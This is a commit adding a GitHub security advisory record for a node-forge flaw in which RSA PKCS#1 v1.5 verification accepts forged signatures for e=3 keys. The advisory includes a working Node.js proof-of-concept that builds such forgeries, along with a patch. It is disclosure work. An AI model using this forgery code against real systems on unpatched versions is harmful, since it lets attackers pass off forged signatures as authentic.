Skip to content

Commit 0f85c7b

Browse files
1 parent b9604fe commit 0f85c7b

File tree

1 file changed

+74
-0
lines changed

1 file changed

+74
-0
lines changed
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-ppp5-5v6c-4jwp",
4+
"modified": "2026-03-26T22:02:35Z",
5+
"published": "2026-03-26T22:02:35Z",
6+
"aliases": [
7+
"CVE-2026-33894"
8+
],
9+
"summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field ",
10+
"details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n - forge verify (`_parseAllDigestBytes: true`), and\n - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n - `control-forge-strict: true`\n - `control-node: true`\n - `forgery (forge library, strict): true`\n - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n<details><summary>repro_min.js</summary>\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst crypto = require('crypto');\nconst forge = require('./forge/lib/index');\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n// SEQUENCE { OID sha256, NULL },\n// OCTET STRING <32-byte digest>\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n '300d060960864801650304020105000420',\n 'hex'\n);\n\nconst toBig = b => BigInt('0x' + (b.toString('hex') || '0'));\nfunction toBuf(n, len) {\n let h = n.toString(16);\n if (h.length % 2) h = '0' + h;\n const b = Buffer.from(h, 'hex');\n return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n let lo = 0n;\n let hi = 1n;\n while (hi * hi * hi <= n) hi <<= 1n;\n while (lo + 1n < hi) {\n const mid = (lo + hi) >> 1n;\n if (mid * mid * mid <= n) lo = mid;\n else hi = mid;\n }\n return lo;\n}\nconst cbrtCeil = n => {\n const f = cbrtFloor(n);\n return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n if (len < 0x80) return Buffer.from([len]);\n if (len <= 0xff) return Buffer.from([0x81, len]);\n return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n const key = forge.pki.publicKeyFromPem(publicPem);\n const md = forge.md.sha256.create();\n md.update(msg.toString('utf8'), 'utf8');\n try {\n // verify(digestBytes, signatureBytes, scheme, options):\n // - digestBytes: raw SHA-256 digest bytes for `msg`\n // - signatureBytes: binary-string representation of the candidate signature\n // - scheme: undefined => default RSASSA-PKCS1-v1_5\n // - options._parseAllDigestBytes: require DER parser to consume all bytes\n // (this is forge's default for verify; set explicitly here for clarity)\n return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };\n } catch (err) {\n return { ok: false, err: err.message };\n }\n}\n\nfunction main() {\n const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {\n modulusLength: 4096,\n publicExponent: 3,\n privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n publicKeyEncoding: { type: 'pkcs1', format: 'pem' }\n });\n\n const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });\n const nBytes = Buffer.from(jwk.n, 'base64url');\n const n = toBig(nBytes);\n const e = toBig(Buffer.from(jwk.e, 'base64url'));\n if (e !== 3n) throw new Error('expected e=3');\n\n const msg = Buffer.from('forged-message-0', 'utf8');\n const digest = crypto.createHash('sha256').update(msg).digest();\n const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n const k = nBytes.length;\n // ffCount can be set to any value at or below 111 and produce a valid signature.\n // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n // However, current versions of node forge do not check for this.\n // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n const ffCount = 0; \n // `garbageLen` affects DER length field sizes, which in turn affect how\n // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n // A small cap (8) is enough here: DER length-size transitions are discrete\n // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.\n let garbageLen = 0;\n for (let i = 0; i < 8; i += 1) {\n const gLenEnc = derLen(garbageLen).length;\n const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n const seqLenEnc = derLen(seqLen).length;\n const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n const next = k - fixed;\n if (next === garbageLen) break;\n garbageLen = next;\n }\n const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n const prefix = Buffer.concat([\n Buffer.from([0x00, 0x01]),\n Buffer.alloc(ffCount, 0xff),\n Buffer.from([0x00]),\n Buffer.from([0x30]), derLen(seqLen),\n algAndDigest,\n Buffer.from([0x04]), derLen(garbageLen)\n ]);\n\n // Build the numeric interval of all EM values that start with `prefix`:\n // - `low` = prefix || 00..00\n // - `high` = one past (prefix || ff..ff)\n // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n const suffixLen = k - prefix.length;\n const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n const high = low + (1n << BigInt(8 * suffixLen));\n const s = cbrtCeil(low);\n if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');\n\n const sig = toBuf(s, k);\n\n const controlMsg = Buffer.from('control-message', 'utf8');\n const controlSig = crypto.sign('sha256', controlMsg, {\n key: privateKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n });\n\n // forge verification calls (library under test)\n const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n // Node.js verification calls (OpenSSL-backed reference behavior)\n const controlNode = crypto.verify('sha256', controlMsg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, controlSig);\n const forgedNode = crypto.verify('sha256', msg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, sig);\n\n console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');\n console.log('control-node:', controlNode);\n console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');\n console.log('forgery (node/OpenSSL):', forgedNode);\n}\n\nmain();\n```\n</details>\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n error.errors = errors;\n throw error;\n }\n+\n+ if(obj.value.length != 2) {\n+ var error = new Error(\n+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +\n+ 'a valid RSASSA-PKCS1-v1_5 package.');\n+ error.errors = errors;\n+ throw error;\n+ }\n // check hash algorithm identifier\n // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n }\n ++padNum;\n }\n+\n+ if (padNum < 8) {\n+ throw new Error('Encryption block is invalid.');\n+ }\n } else if(bt === 0x02) {\n // look for 0x00 byte\n padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "node-forge"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/digitalbazaar/forge"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://www.rfc-editor.org/rfc/rfc8017.html"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-347",
67+
"CWE-20"
68+
],
69+
"severity": "HIGH",
70+
"github_reviewed": true,
71+
"github_reviewed_at": "2026-03-26T22:02:35Z",
72+
"nvd_published_at": null
73+
}
74+
}

0 commit comments

Comments
 (0)